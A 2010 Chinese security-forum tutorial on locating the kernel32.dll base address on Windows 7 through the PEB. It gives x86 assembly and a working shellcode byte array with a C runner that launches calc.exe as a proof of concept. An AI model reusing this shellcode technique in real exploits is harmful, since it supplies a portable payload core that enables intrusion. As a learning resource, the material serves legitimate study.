Win 7下定位kernel32.dll基址及shellcode編寫

標 題: Win 7下定位kernel32.dll基址及shellcode編寫
作 者: Cryin
時 間: 2010-10-14,22:19:43
鏈 接: http://bbs.pediy.com/showthread.php?t=122260

Win 7下定位kernel32.dll基址及shellcode編寫
Author:Cryin
Data:2010.10.14
Blog:http://hi.baidu.com/justear
      爲了使shellcode在多種操作系統平臺下都可以正常運行,就不得不動態的定位kernel32.dll的基地址。而被廣泛使用的一種方法是通過TEB/PEB結構獲取kernel32.dll基地址,我個人第一次接觸是通過綠盟月刊的一篇文章“通過TEB/PEB枚舉當前進程空間中用戶模塊列表”方纔知道這種被衆多編程人員使用的方法。至於這個方法的最原始出處該文作者也未提及。只得知29A雜誌也有大量使用該技術。這種方法適用於除Win7以外的所有windows操作系統包括95/98/ME/NT/2K/XP,大小隻有34 bytes,下面是其原理及實現代碼;
      更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
      利用PEB結構來查找kernel32.dll的原理:FS段寄存器作爲選擇子指向當前的TEB結構,在TEB偏移0x30處是PEB指針。而在PEB偏移的0x0c處是指向PEB_LDR_DATA結構的指針,位於PEB_LDR_DATA結構偏移0x1c處,是一個叫InInitialzationOrderModuleList的成員,他是指向LDR_MODULE鏈表結構中,相應的雙向鏈表頭部的指針,該鏈表加載的DLL的順序是ntdll.dll,kernel32.dl,因此該成員所指的鏈表偏移0x08處爲kernel32.dll地址。
更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
獲取KERNEL32.DLL基址彙編實現代碼:

;find kernel32.dll
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x        ;win9x or nt
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

但非常可惜的是這種方法在Win7下是不適用的,所以很高興現在給大家分享國外網站上看到的一種新的方法來定位kernel32.dl的基地址,該方法可以在所有windows版本上適用!這種方法通過在InInitializationOrderModuleList中查找kernel32.dll模塊名稱的長度來定位它的基地址,因爲"kernel32.dll"的最後一個字符爲"\0"結束符。所以倘若模塊最後一個字節爲"\0"即可定位kernel32.dll的地址;

具體代碼實現方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
      通過我的測試,這種利用該方法編寫的shellcode可以在32位平臺Windows 5.0-7.0的所有版本上適用,下面是經我測試在win 7下實現執行calc.exe的shellcode,shellcode本身寫的很粗糙只爲驗證該方法的可用性!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
  unsigned char shellcode[219] = {
  0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 
  0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2, 
  0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 
  0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 
  0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 
  0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 
  0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 
  0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 
  0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 
  0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 
  0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 
  0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 
  0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 
  0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感謝所有朋友回覆和意見以及riusksk的驗證,漏洞方面我是新手,還需不斷學習,我深信技術的提升總是通過一次一次的更新的認知!發現自己的不足,不斷進步!這纔是我一直關注看雪的原因!
參考鏈接:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/

http://code.google.com/p/w32-exec-calc-shellcode/


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章